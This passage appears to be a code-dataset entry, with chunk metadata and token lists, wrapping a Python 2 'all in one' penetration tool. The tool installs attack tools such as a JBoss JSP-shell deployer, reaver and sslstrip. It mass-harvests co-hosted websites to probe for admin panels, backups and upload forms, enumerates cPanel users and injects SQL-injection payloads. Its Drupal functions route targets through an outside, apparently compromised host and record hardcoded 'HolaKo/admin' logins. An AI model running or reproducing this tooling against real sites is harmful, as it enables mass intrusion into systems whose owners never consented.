Spoofing\n 6 : Privat Tools\n 7 : Drupal Hacking\n 99 : Exit\n\n \"\"\")\n choice = raw_input(\"Enter Your Choice:\")\n \n if choice == \"1\":\n info()\n elif choice == \"2\":\n passwd()\n elif choice == \"3\":\n wire()\n elif choice == \"4\":\n exp()\n elif choice == \"5\":\n snif()\n elif choice == \"6\":\n tnn()\n elif choice == \"7\":\n maine()\n elif choice == \"99\":\n os.system('clear'),sys.exit();\n elif choice == \"\":\n menu()\n else: \n menu()", "metadata": "root.menu", "header": "['module', '___EOS___']", "index": 36 }, { "content": "def h2ip():\n host = raw_input(\"Select A Host : \")\n ips = socket.gethostbyname(host)\n print(ips)", "metadata": "root.h2ip", "header": "['module', '___EOS___']", "index": 87 }, { "content": "def ports():\n os.system(\"clear\")\n target = raw_input('Select a Target IP :')\n os.system(\"nmap -O -Pn %s\" % target) \n sys.exit();", "metadata": "root.ports", "header": "['module', '___EOS___']", "index": 93 }, { "content": "def ifinurl():\n print\"\"\" This Advanced search in search engines, enables analysis provided to exploit GET / POST capturing emails & urls, with an internal custom validation junction for each target / url found.\"\"\"\n print('do you have Inurlbr installed ? ')\n cinurl = raw_input(\"Y / N : \")\n if cinurl in yes:\n inurl()\n if cinurl in no:\n insinurl()\n elif cinurl == \"\":\n menu()\n else: \n menu()", "metadata": "root.ifinurl", "header": "['module', '___EOS___']", "index": 100 }, { "content": "def inurl():\n dork = raw_input(\"select a Dork:\")\n output = raw_input(\"select a file to save :\")\n os.system(\"./inurlbr.php --dork '{0}' -s {1}.txt -q 1,6 -t 1\".format(dork, output))\n if cinurl in no:\n insinurl()\n elif cinurl == \"\":\n menu()\n else: \n menu()", "metadata": "root.inurl", "header": "['module', '___EOS___']", "index": 113 }, { "content": "def insinurl():\n os.system(\"git clone https://github.com/googleinurl/SCANNER-INURLBR.git\")\n os.system(\"chmod +x SCANNER-INURLBR/inurlbr.php\")\n os.system(\"apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl\")\n os.system(\"mv /SCANNER-INURLBR/inurbr.php inurlbr.php\")\n os.system(\"clear\")\n inurl()", "metadata": "root.insinurl", "header": "['module', '___EOS___']", "index": 124 }, { "content": "def nmap():\n\n choice7 = raw_input(\"continue ? Y / N : \")\n if choice7 in yes :\n os.system(\"wget https://nmap.org/dist/nmap-7.01.tar.bz2\")\n os.system(\"bzip2 -cd nmap-7.01.tar.bz2 | tar xvf -\")\n os.system(\"cd nmap-7.01 & ./configure\")\n os.system(\"cd nmap-7.01 & make\")\n os.system(\"su root\")\n os.system(\"cd nmap-7.01 & make install\")\n elif choice7 in no :\n info()\n elif choice7 == \"\":\n menu()\n else: \n menu()", "metadata": "root.nmap", "header": "['module', '___EOS___']", "index": 133 }, { "content": "def jboss():\n os.system('clear')\n print (\"This JBoss script deploys a JSP shell on the target JBoss AS server. Once\")\n print (\"deployed, the script uses its upload and command execution capability to\")\n print (\"provide an interactive session.\")\n print (\"\")\n print (\"usage : ./e.sh target_ip tcp_port \")\n print(\"Continue: y/n\")\n choice9 = raw_input(\"yes / no :\")\n if choice9 in yes:\n os.system(\"git clone https://github.com/SpiderLabs/jboss-autopwn.git\"),sys.exit();\n elif choice9 in no:\n os.system('clear'); exp()\n elif choice9 == \"\":\n menu()\n else: \n menu()", "metadata": "root.jboss", "header": "['module', '___EOS___']", "index": 151 }, { "content": "def sqlmap():\n print (\"usage : python sqlmap.py -h\")\n choice8 = raw_input(\"Continue: y/n :\")\n if choice8 in yes:\n os.system(\"git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev & \")\n elif choice8 in no:\n os.system('clear'); info()\n elif choice8 == \"\":\n menu()\n else: \n menu()", "metadata": "root.sqlmap", "header": "['module', '___EOS___']", "index": 170 }, { "content": "def setoolkit():\n print (\"The Social-Engineer Toolkit is an open-source penetration testing framework\")\n print(\") designed for social engineering. SET has a number of custom attack vectors that \")\n print(\" allow you to make a believable attack quickly. SET is a product of TrustedSec, LLC \")\n print(\"an information security consulting firm located in Cleveland, Ohio.\")\n print(\"\")\n choiceset = raw_input(\"y / n :\")\n if choiceset in yes:\n os.system(\"git clone https://github.com/trustedsec/social-engineer-toolkit.git\")\n os.system(\"python social-engineer-toolkit/setup.py\")\n if choiceset in no:\n os.system(\"clear\"); info()\n elif choiceset == \"\":\n menu()\n else: \n menu()", "metadata": "root.setoolkit", "header": "['module', '___EOS___']", "index": 183 }, { "content": "def cupp():\n print(\"cupp is a password list generator \")\n print(\"Usage: python cupp.py -h\")\n choicecupp = raw_input(\"Continue: y/n : \")\n \n if choicecupp in yes:\n os.system(\"git clone https://github.com/Mebus/cupp.git\")\n print(\"file downloaded successfully\")\n elif choicecupp in no:\n os.system(\"clear\"); passwd()\n elif choicecupp == \"\":\n menu()\n else: \n menu()", "metadata": "root.cupp", "header": "['module', '___EOS___']", "index": 201 }, { "content": "def ncrack():\n print(\"A Ruby interface to Ncrack, Network authentication cracking tool.\")\n print(\"requires : nmap >= 0.3ALPHA / rprogram ~> 0.3\")\n print(\"Continue: y/n\")\n choicencrack = raw_input(\"y / n :\")\n if choicencrack in yes:\n os.system(\"git clone https://github.com/sophsec/ruby-ncrack.git\")\n os.system(\"cd ruby-ncrack\")\n os.system(\"install ruby-ncrack\")\n elif choicencrack in no:\n os.system(\"clear\"); passwd()\n elif choicencrack == \"\":\n menu()\n else: \n menu()", "metadata": "root.ncrack", "header": "['module', '___EOS___']", "index": 217 }, { "content": "def reaver():\n print \"\"\"\n Reaver has been designed to be a robust and practical attack against Wi-Fi Protected Setup\n WPS registrar PINs in order to recover WPA/WPA2 passphrases. It has been tested against a\n wide variety of access points and WPS implementations\n 1 to accept / 0 to decline\n \"\"\"\n creaver = raw_input(\"y / n :\")\n if creaver in yes:\n os.system(\"apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps\")\n os.system(\"git clone https://github.com/t6x/reaver-wps-fork-t6x.git\")\n os.system(\"cd reaver-wps-fork-t6x/src/ & ./configure\")\n os.system(\"cd reaver-wps-fork-t6x/src/ & make\")\n elif creaver in no:\n os.system(\"clear\"); wire()\n elif creaver == \"\":\n menu()\n else: \n menu()", "metadata": "root.reaver", "header": "['module', '___EOS___']", "index": 234 }, { "content": "def ssls():\n print\"\"\"sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping \n attacks.\n It requires Python 2.5 or newer, along with the 'twisted' python module.\"\"\"\n cssl = raw_input(\"y / n :\")\n if cssl in yes: \n os.system(\"git clone https://github.com/moxie0/sslstrip.git\")\n os.system(\"sudo apt-get install python-twisted-web\")\n os.system(\"python sslstrip/setup.py\")\n if cssl in no:\n snif()\n elif cssl ==\"\":\n menu()\n else:\n menu()", "metadata": "root.ssls", "header": "['module', '___EOS___']", "index": 255 }, { "content": "def shellnoob():\n print \"\"\"Writing shellcodes has always been super fun, but some parts are extremely boring and error prone. Focus only on the fun part, and use ShellNoob!\"\"\"\n cshell = raw_input(\"Y / N : \")\n if cshell in yes:\n os.system(\"git clone https://github.com/reyammer/shellnoob.git\")\n os.system(\"mv shellnoob/shellnoob.py shellnoob.py\")\n os.system(\"sudo python shellnoob.py --install\")\n if cshell in no:\n exp()\n elif cshell ==\"\":\n menu()\n else:\n menu()", "metadata": "root.shellnoob", "header": "['module', '___EOS___']", "index": 272 }, { "content": "def info():\n print(\"1: nmap \")\n print(\"2: Setoolkit\")\n print(\"3: Port Scanning\")\n print(\"4: Host To IP\")\n print(\"99: Back To Main Menu\")\n choice2 = raw_input(\"Select from the menu:\")\n if choice2 == \"1\":\n os.system('clear'); nmap()\n if choice2 == \"2\":\n os.system(\"clear\"); setoolkit()\n if choice2 == \"3\":\n os.system(\"clear\"); ports()\n if choice2 == \"4\":\n os.system(\"clear\"); h2ip()\n elif choice2 ==\"99\":\n os.system(\"clear\"); menu()\n elif choice2 == \"\":\n menu()\n else: \n menu()", "metadata": "root.info", "header": "['module', '___EOS___']", "index": 287 }, { "content": "def priv8():\n tnn()", "metadata": "root.priv8", "header": "['module', '___EOS___']", "index": 309 }, { "content": "def passwd():\n print(\"1: cupp \")\n print(\"2: Ncrack\")\n print(\"99: Back To Main Menu\")\n choice3 = raw_input(\"Select from the menu:\")\n if choice3 ==\"1\":\n os.system(\"clear\"); cupp()\n elif choice3 ==\"2\":\n os.system(\"clear\"); ncrack()\n elif choice3 ==\"99\":\n os.system(\"clear\"); menu()\n elif choice3 == \"\":\n menu()\n else: \n menu()", "metadata": "root.passwd", "header": "['module', '___EOS___']", "index": 312 }, { "content": "def wire():\n print(\"1: reaver \")\n print(\"99: Back To The Main Menu\")\n choice4 = raw_input(\"Select from the menu:\")\n if choice4 ==\"1\":\n os.system(\"clear\");reaver()\n elif choice4 ==\"99\":\n menu()\n elif choice4 == \"\":\n menu()\n else: \n menu()", "metadata": "root.wire", "header": "['module', '___EOS___']", "index": 329 }, { "content": "def exp():\n print(\"1 : jboss-autopwn \")\n print(\"2 : sqlmap\")\n print(\"3 : Shellnoob\")\n print(\"4 : Inurlbr\")\n print(\"99 : Go Back To Main Menu\")\n choice5 = raw_input(\"Select from the menu:\")\n if choice5 ==\"2\":\n os.system(\"clear\"); sqlmap()\n if choice5 ==\"1\":\n os.system('clear'); jboss()\n if choice5 ==\"3\":\n os.system(\"clear\"); shellnoob()\n if choice5 == \"4\":\n os.system(\"clear\"); ifinurl()\n elif choice5 ==\"99\":\n menu()\n elif choice5 == \"\":\n menu()\n else: \n menu()", "metadata": "root.exp", "header": "['module', '___EOS___']", "index": 343 }, { "content": "def snif():\n print(\"1 : Setoolkit \")\n print(\"2 : Ssltrip\")\n print(\"99: Back To Main Menu\")\n choice6 = raw_input(\"Select from the menu:\")\n if choice6 ==\"1\":\n os.system(\"clear\"); setoolkit()\n if choice6 ==\"2\":\n os.system(\"clear\"); ssls()\n if choice6 ==\"99\":\n os.system(\"clear\"); menu()\n elif choice6 == \"\":\n menu()\n else: \n menu()", "metadata": "root.snif", "header": "['module', '___EOS___']", "index": 366 }, { "content": "def win():\n os.system(\"clear\")\n print(\"Our Tool Does Not Support Windows , run it on linux or install a virtual machine \")\n sys.exit();", "metadata": "root.win", "header": "['module', '___EOS___']", "index": 383 }, { "content": "def OS():\n print(\n \"\"\"\n Choose Operating System : \n 1) Mac OSX\n 2) Linux\n 3) Windows\n \"\"\")\n system = raw_input(\"choose an OS : \")\n if system ==\"2\":\n menu()\n elif system ==\"1\":\n root()\n elif system ==\"3\":\n win()\n elif system == \"\":\n OS()\n else:\n sys.exit();", "metadata": "root.OS", "header": "['module', '___EOS___']", "index": 389 }, { "content": "def root():\n if os.getuid() != 0:\n print(\"Are you root? Please execute as root\")\n exit() \n else:\n menu()", "metadata": "root.root", "header": "['module', '___EOS___']", "index": 410 }, { "content": "def unique(seq):\n \"\"\"\n get unique from list found it on stackoverflow\n \"\"\"\n seen = set()\n return [seen.add(x) or x for x in seq if x not in seen]", "metadata": "root.unique", "header": "['module', '___EOS___']", "index": 436 }, { "content": "def clearScr() :\n \"\"\"\n clear the screen in case of GNU/Linux or \n windows \n \"\"\"\n if system() == 'Linux':\n os.system('clear')\n if system() == 'Windows':\n os.system('cls')", "metadata": "root.clearScr", "header": "['module', '___EOS___']", "index": 444 }, { "content": "class TNscan : #TNscan Function menu \n############################ \n#get websites from server\n############################\n#get wordpress websites \n############################\n#get joomla websites\n############################\n#find admin panels\n ############################ \n #find ZIP files \n ############################ \n #find upload directories \n ############################ \n#find users \n############################ \n#bypass cloudflare \n############################ \n#find the server banner \n############################ \n#greb the sqli \n ############################ \n #scan for sql injection \n ############################ \n #craw SQL \n ############################ \n #scan for ports ", "metadata": "root.TNscan", "header": "['module', '___EOS___']", "index": 454 }, { "content": " def __init__(self, serverip) :\n self.serverip = serverip\n self.getSites(False)\n print menuu\n while True :\n choice = raw_input(' Enter choice -> ')\n if choice == '1' :\n self.getSites(True)\n elif choice == '2' :\n self.getJoomla()\n elif choice == '3' :\n self.getWordpress()\n elif choice == '4' :\n self.findPanels()\n elif choice == '5' :\n self.findZip()\n elif choice == '6' :\n self.findUp()\n elif choice == '7' :\n self.getUsers()\n elif choice == '8' :\n self.grabSqli()\n elif choice == '9' :\n nbpages = int(raw_input(' Enter number of pages to crawl (ex : 100) -> '))\n self.crawlSqli(nbpages)\n elif choice == '10' :\n ran = raw_input(' Enter range of ports, (ex : 1-1000) -> ')\n self.portScanner(1, ran)\n elif choice == '11' :\n self.portScanner(2, None)\n elif choice == '12' :\n self.getServerBanner()\n elif choice == '13' :\n self.cloudflareBypasser()\n elif choice == '99' :\n print ' Goodbye'\n exit()\n con = raw_input(' Continue [Y/n] -> ')\n if con[0].upper() == 'N' :\n exit()\n else :\n clearScr()\n print menuu", "metadata": "root.TNscan.__init__", "header": "['class', 'TNscan', ':', '#TNscan Function menu', '___EOS___']", "index": 455 }, { "content": " def getSites(self, a) :\n \"\"\"\n get all websites on same server\n from bing search\n \"\"\"\n lista = []\n page = 1\n while page <= 101:\n try:\n bing = \"http://www.bing.com/search?q=ip%3A\" + self.serverip + \"+&count=50&first=\" + str(page)\n openbing = urllib2.urlopen(bing)\n readbing = openbing.read()\n findwebs = re.findall('<h2><a href=\"(.*?)\"', readbing)\n for i in range(len(findwebs)):\n allnoclean = findwebs[i]\n findall1 = re.findall('http://(.*?)/', allnoclean)\n for idx, item in enumerate(findall1):\n if 'www' not in item:\n findall1[idx] = 'http://www.' + item + '/'\n else:\n findall1[idx] = 'http://' + item + '/'\n lista.extend(findall1)\n \n page += 50\n except urllib2.URLError:\n pass\n self.sites = unique(lista)\n if a : \n clearScr()\n print '[*] Found ', len(lista), ' Website\\n'\n for site in self.sites :\n print site ", "metadata": "root.TNscan.getSites", "header": "['class', 'TNscan', ':', '#TNscan Function menu', '___EOS___']", "index": 500 }, { "content": " def getWordpress(self) :\n \"\"\"\n get wordpress site using a dork the attacker\n may do a password list attack (i did a tool for that purpose check my pastebin) \n or scan for common vulnerabilities using wpscan for example (i did a simple tool \n for multi scanning using wpscan)\n \"\"\"\n lista = []\n page = 1\n while page <= 101:\n try:\n bing = \"http://www.bing.com/search?q=ip%3A\" + self.serverip + \"+?page_id=&count=50&first=\" + str(page)\n openbing = urllib2.urlopen(bing)\n readbing = openbing.read()\n findwebs = re.findall('<h2><a href=\"(.*?)\"', readbing)\n for i in range(len(findwebs)):\n wpnoclean = findwebs[i]\n findwp = re.findall('(.*?)\\?page_id=', wpnoclean)\n lista.extend(findwp)\n page += 50\n except:\n pass\n lista = unique(lista)\n clearScr()\n print '[*] Found ', len(lista), ' Wordpress Website\\n'\n for site in lista :\n print site", "metadata": "root.TNscan.getWordpress", "header": "['class', 'TNscan', ':', '#TNscan Function menu', '___EOS___']", "index": 534 }, { "content": " def getJoomla(self) :\n \"\"\"\n get all joomla websites using \n bing search the attacker may bruteforce\n or scan them \n \"\"\"\n lista = []\n page = 1\n while page <= 101:\n bing = \"http://www.bing.com/search?q=ip%3A\" + self.serverip + \"+index.php?option=com&count=50&first=\" + str(page)\n openbing = urllib2.urlopen(bing)\n readbing = openbing.read()\n findwebs = re.findall('<h2><a href=\"(.*?)\"', readbing)\n for i in range(len(findwebs)):\n jmnoclean = findwebs[i]\n findjm = re.findall('(.*?)index.php', jmnoclean)\n lista.extend(findjm)\n page += 50\n lista = unique(lista)\n clearScr()\n print '[*] Found ', len(lista), ' Joomla Website\\n'\n for site in lista :\n print site", "metadata": "root.TNscan.getJoomla", "header": "['class', 'TNscan', ':', '#TNscan Function menu', '___EOS___']", "index": 563 }, { "content": " def findPanels(self) :\n \"\"\"\n find panels from grabbed websites\n the attacker may do a lot of vulnerabilty \n tests on the admin area\n \"\"\"\n print \"[~] Finding admin panels\"\n adminList = ['admin/', 'site/admin', 'admin.php/', 'up/admin/', 'central/admin/', 'whm/admin/', 'whmcs/admin/', 'support/admin/', 'upload/admin/', 'video/admin/', 'shop/admin/', 'shoping/admin/', 'wp-admin/', 'wp/wp-admin/', 'blog/wp-admin/', 'admincp/', 'admincp.php/', 'vb/admincp/', 'forum/admincp/', 'up/admincp/', 'administrator/', 'administrator.php/', 'joomla/administrator/', 'jm/administrator/', 'site/administrator/', 'install/', 'vb/install/', 'dimcp/', 'clientes/', 'admin_cp/', 'login/', 'login.php', 'site/login', 'site/login.php', 'up/login/', 'up/login.php', 'cp.php', 'up/cp', 'cp', 'master', 'adm', 'member', 'control', 'webmaster', 'myadmin', 'admin_cp', 'admin_site']\n clearScr()\n for site in self.sites :\n for admin in adminList :\n try :\n if urllib.urlopen(site + admin).getcode() == 200 :\n print \" [*] Found admin panel -> \", site + admin\n except IOError :\n pass", "metadata": "root.TNscan.findPanels", "header": "['class', 'TNscan', ':', '#TNscan Function menu', '___EOS___']", "index": 588 }, { "content": " def findZip(self) :\n \"\"\"\n find zip files from grabbed websites\n it may contain useful informations\n \"\"\"\n zipList = ['backup.tar.gz', 'backup/backup.tar.gz', 'backup/backup.zip', 'vb/backup.zip', 'site/backup.zip', 'backup.zip', 'backup.rar', 'backup.sql', 'vb/vb.zip', 'vb.zip', 'vb.sql', 'vb.rar', 'vb1.zip', 'vb2.zip', 'vbb.zip', 'vb3.zip', 'upload.zip', 'up/upload.zip', 'joomla.zip', 'joomla.rar', 'joomla.sql', 'wordpress.zip', 'wp/wordpress.zip', 'blog/wordpress.zip', 'wordpress.rar']\n clearScr()\n print \"[~] Finding zip file\"\n for site in self.sites :\n for zip1 in zipList :\n try:\n if urllib.urlopen(site + zip1).getcode() == 200 :\n print \" [*] Found zip file -> \", site + zip1\n except IOError :\n pass", "metadata": "root.TNscan.findZip", "header": "['class', 'TNscan', ':', '#TNscan Function menu', '___EOS___']", "index": 606 }, { "content": " def findUp(self) :\n \"\"\"\n find upload forms from grabbed \n websites the attacker may succeed to \n upload malicious files like webshells\n \"\"\"\n upList = ['up.php', 'up1.php', 'up/up.php', 'site/up.php', 'vb/up.php', 'forum/up.php','blog/up.php', 'upload.php', 'upload1.php', 'upload2.php', 'vb/upload.php', 'forum/upload.php', 'blog/upload.php', 'site/upload.php', 'download.php']\n clearScr()\n print \"[~] Finding Upload\"\n for site in self.sites :\n for up in upList :\n try : \n if (urllib.urlopen(site + up).getcode() == 200) :\n html = urllib.urlopen(site + up).readlines()\n for line in html :\n if re.findall('type=file', line) :\n print \" [*] Found upload -> \", site+up\n except IOError :\n pass", "metadata": "root.TNscan.findUp", "header": "['class', 'TNscan', ':', '#TNscan Function menu', '___EOS___']", "index": 623 }, { "content": " def getUsers(self) :\n \"\"\"\n get server users using a method found by \n iranian hackers i think, the attacker may\n do a bruteforce attack on CPanel, ssh, ftp or \n even mysql if it supports remote login\n (you can use medusa or hydra)\n \"\"\"\n clearScr()\n print \"[~] Grabbing Users\"\n userslist = []\n for site1 in self.sites :\n try:\n site = site1\n site = site.replace('http://www.', '')\n site = site.replace('http://', '')\n site = site.replace('.', '')\n if '-' in site:\n site = site.replace('-', '')\n site = site.replace('/', '')\n while len(site) > 2:\n resp = urllib2.urlopen(site1 + '/cgi-sys/guestbook.cgi?user=%s' % site).read()\n if 'invalid username' not in resp.lower():\n print '\\t [*] Found -> ', site\n userslist.append(site)\n break\n else :\n print site\n \n site = site[:-1]\n except:\n pass\n \n clearScr()\n for user in userslist :\n print user", "metadata": "root.TNscan.getUsers", "header": "['class', 'TNscan', ':', '#TNscan Function menu', '___EOS___']", "index": 644 }, { "content": " def cloudflareBypasser(self) :\n \"\"\"\n trys to bypass cloudflare i already wrote\n in my blog how it works, i learned this \n method from a guy in madleets\n \"\"\"\n clearScr()\n print \"[~] Bypassing cloudflare\"\n subdoms = ['mail', 'webmail', 'ftp', 'direct', 'cpanel']\n for site in self.sites :\n site.replace('http://', '')\n site.replace('/', '') \n try:\n ip = socket.gethostbyname(site)\n except socket.error:\n pass\n for sub in subdoms:\n doo = sub + '.' + site\n print ' [~] Trying -> ', doo\n try:\n ddd = socket.gethostbyname(doo)\n if ddd != ip:\n print ' [*] Cloudflare bypassed -> ', ddd\n break\n except socket.error :\n pass", "metadata": "root.TNscan.cloudflareBypasser", "header": "['class', 'TNscan', ':', '#TNscan Function menu', '___EOS___']", "index": 682 }, { "content": " def getServerBanner(self) :\n \"\"\"\n simply gets the server banner \n the attacker may benefit from it \n like getting the server side software\n \"\"\"\n clearScr()\n try:\n s = 'http://' + self.serverip\n httpresponse = urllib.urlopen(s)\n print ' [*] Server header -> ', httpresponse.headers.getheader('server')\n except:\n pass", "metadata": "root.TNscan.getServerBanner", "header": "['class', 'TNscan', ':', '#TNscan Function menu', '___EOS___']", "index": 710 }, { "content": " def grabSqli(self) :\n \"\"\"\n just grabs all websites in server with php?id= dork \n for scanning for error based sql injection\n \"\"\"\n page = 1\n lista = []\n while page <= 101:\n try:\n bing = \"http://www.bing.com/search?q=ip%3A\" + self.serverip + \"+php?id=&count=50&first=\" + str(page)\n openbing = urllib2.urlopen(bing)\n readbing = openbing.read()\n findwebs = re.findall('<h2><a href=\"(.*?)\"', readbing)\n for i in range(len(findwebs)):\n x = findwebs[i]\n lista.append(x)\n except:\n pass \n page += 50 \n lista = unique(lista) \n self.checkSqli(lista)", "metadata": "root.TNscan.grabSqli", "header": "['class', 'TNscan', ':', '#TNscan Function menu', '___EOS___']", "index": 725 }, { "content": " def checkSqli(self, s):\n \"\"\"\n checks for error based sql injection,\n most of the codes here are from webpwn3r \n project the one who has found an lfi in \n yahoo as i remember, you can find a separate \n tool in my blog \n \"\"\"\n clearScr()\n print \"[~] Checking SQL injection\"\n payloads = [\"3'\", \"3%5c\", \"3%27%22%28%29\", \"3'><\", \"3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27\"]\n check = re.compile(\"Incorrect syntax|mysql_fetch|Syntax error|Unclosed.+mark|unterminated.+qoute|SQL.+Server|Microsoft.+Database|Fatal.+error\", re.I)\n for url in s:\n try:\n for param in url.split('?')[1].split('&'):\n for payload in payloads:\n power = url.replace(param, param + payload.strip())\n #print power\n html = urllib2.urlopen(power).readlines()\n for line in html:\n checker = re.findall(check, line)\n if len(checker) != 0 :\n print ' [*] SQLi found -> ', power\n except:\n pass", "metadata": "root.TNscan.checkSqli", "header": "['class', 'TNscan', ':', '#TNscan Function menu', '___EOS___']", "index": 748 }, { "content": " def crawlSqli(self, nbpages) :\n \"\"\"\n simple crawling using chilkat (yeah chilkat sucks)\n and scan for error based sql injection\n [!] will be on the next version\n \"\"\"\n import chilkat\n spider = chilkat.CkSpider()\n for url in self.sites :\n spidred = []\n print \" [~] Crawling -> \", url\n spider.Initialize(url)\n #spider.unspideredUrl(url)\n i = 0\n for i in range(nbpages) :\n if spider.CrawlNext() :\n spidred.append(spider.lastUrl())\n print \" [+] Crawled -> \", spidred\n print \" [~] Scanning -> \", url, \" from SQL injection\"\n self.checkSqli(spidred)", "metadata": "root.TNscan.crawlSqli", "header": "['class', 'TNscan', ':', '#TNscan Function menu', '___EOS___']", "index": 775 }, { "content": " def portScanner(self, mode, ran) :\n \"\"\"\n simple port scanner works with range of ports \n or with common ports (al-swisre idea)\n \"\"\"\n clearScr()\n print \"[~] Scanning Ports\"\n def do_it(ip, port):\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n #sock.settimeout(5)\n sock = sock.connect_ex((ip,port))\n if sock == 0:\n print \" [*] Port %i is open\" % port \n \n if mode == 1 :\n a = ran.split('-')\n start = int(a[0])\n end = int(a[1])\n for i in range(start, end):\n do_it(self.serverip, i)\n elif mode == 2 :\n for port in [80,21,22,2082,25,53,110,443,143] :\n # didn't use multithreading cos it's few ports\n do_it(self.serverip, port)", "metadata": "root.TNscan.portScanner", "header": "['class', 'TNscan', ':', '#TNscan Function menu', '___EOS___']", "index": 797 }, { "content": "def drupal():\n\n '''Drupal Exploit Binger All Websites Of server '''\n ip = raw_input('1- IP : ')\n page = 1\n while page <= 50 :\n \n url = \"http://www.bing.com/search?q=ip%3A\"+ip+\"&go=Valider&qs=n&form=QBRE&pq=ip%3A\"+ip+\"&sc=0-0&sp=-1&sk=&cvid=af529d7028ad43a69edc90dbecdeac4f&first=\"+str(page)\n req = urllib2.Request(url)\n opreq = urllib2.urlopen(req).read()\n findurl = re.findall('<div class=\"b_title\"><h2><a href=\"(.*?)\" h=',opreq)\n page += 1 \n \n for url in findurl :\n try : \n \n urlpa = urlparse(url)\n site = urlpa.netloc\n\n print \"[+] Testing At \"+site\n resp = urllib2.urlopen('http://crig-alda.ro/wp-admin/css/index2.php?url='+site+'&submit=submit')\n read=resp.read()\n if \"User : HolaKo\" in read:\n print \"Exploit found =>\"+site\n\n print \"user:HolaKo\\npass:admin\"\n a = open('up.txt','a')\n a.write(site+'\\n')\n a.write(\"user:\"+user+\"\\npass:\"+pwd+\"\\n\")\n else :\n print \"[-] Expl Not Found :( \"\n\n except Exception as ex :\n print ex\n sys.exit(0)\n\n\n #Drupal Server ExtraCtor", "metadata": "root.drupal", "header": "['module', '___EOS___']", "index": 833 }, { "content": "def getdrupal():\n ip = raw_input('2- Ip : ')\n page = 1\n sites = list()\n while page <= 50 :\n \n url = \"http://www.bing.com/search?q=ip%3A\"+ip+\"+node&go=Valider&qs=ds&form=QBRE&first=\"+str(page)\n req = urllib2.Request(url)\n opreq = urllib2.urlopen(req).read()\n findurl = re.findall('<div class=\"b_title\"><h2><a href=\"(.*?)\" h=',opreq)\n page += 1 \n \n for url in findurl :\n split = urlparse(url)\n site = split.netloc\n if site not in sites :\n print site \n sites.append(site)\n \n\n #Drupal Mass List Exploiter ", "metadata": "root.getdrupal", "header": "['module', '___EOS___']", "index": 871 }, { "content": "def drupallist():\n listop = raw_input(\"Enter The list Txt :\")\n fileopen = open(listop,'r')\n content = fileopen.readlines() \n for i in content :\n url=i.strip()\n try :\n openurl = urllib2.urlopen('http://crig-alda.ro/wp-admin/css/index2.php?url='+url+'&submit=submit')\n readcontent = openurl.read()\n if \"Success\" in readcontent :\n print \"[+]Success =>\"+url\n print \"[-]username:HolaKo\\n[-]password:admin\"\n save = open('drupal.txt','a')\n save.write(url+\"\\n\"+\"[-]username:HolaKo\\n[-]password:admin\\n\")\n \n else : \n print i + \"=> exploit not found \" \n except Exception as ex :\n print ex", "metadata": "root.drupallist", "header": "['module', '___EOS___']", "index": 892 }, { "content": "def maine():\n \n print minu\n choose = raw_input(\"choose a number :\")\n while True : \n \n if choose == \"1\": \n drupal()\n if choose == \"2\":\n getdrupal()\n if choose == \"3\":\n drupallist()\n if choose == \"4\":\n about()\n if choose == \"99\":\n \n menu()\n con = raw_input('Continue [Y/n] -> ')\n if con[0].upper() == 'N' :\n exit()\n if con[0].upper() == 'Y' :\n maine()", "metadata": "root.maine", "header": "['module', '___EOS___']", "index": 912 }, { "content": "class tnn():", "metadata": "root.tnn", "header": "['module', '___EOS___']", "index": 937 }, { "content": " def __init__(self):\n clearScr()\n aaa = raw_input(\"Target IP : \")\n TNscan(aaa)", "metadata": "root.tnn.__init__", "header": "['class', 'tnn', '(', ')', ':', '___EOS___']", "index": 938 } ]
[ { "span": "import httplib", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 14 }, { "span": "import subprocess", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 17 }, { "span": "import urllib,sys,json", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 22 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python", "2.7", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "All", " ", "In", " ", "One", " ", "Tool", " ", "For", " ", "Pen", "etr", "ation", " ", "Test", "ing", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Author", "s", " ", ":", " ", "Fe", "dy", " ", "We", "sle", "ti", " ", ",", " ", "Mo", "ham", "ed", " ", "Nou", "r", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "httplib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", ",_", "urllib2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib_", ",_", "sys_", ",_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "commands_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "platform_", "import_", "system_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "urlparse_", "import_", "urlparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###", "#", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "Variables_", "\\u\\u\\uNL\\u\\u\\u_", "yes_", "=_", "set_", "(_", "[_", "'", "ye", "s", "'_", ",_", "'", "y", "'_", ",_", "'", "ye", "'_", ",_", "'", "Y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "no_", "=_", "set_", "(_", "[_", "'", "no", "'_", ",_", "'", "n", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "this", " ", "is", " ", "the", " ", "big", " ", "menu", " ", "fun", "tion", " _", "\\u\\u\\uNL\\u\\u\\u_", 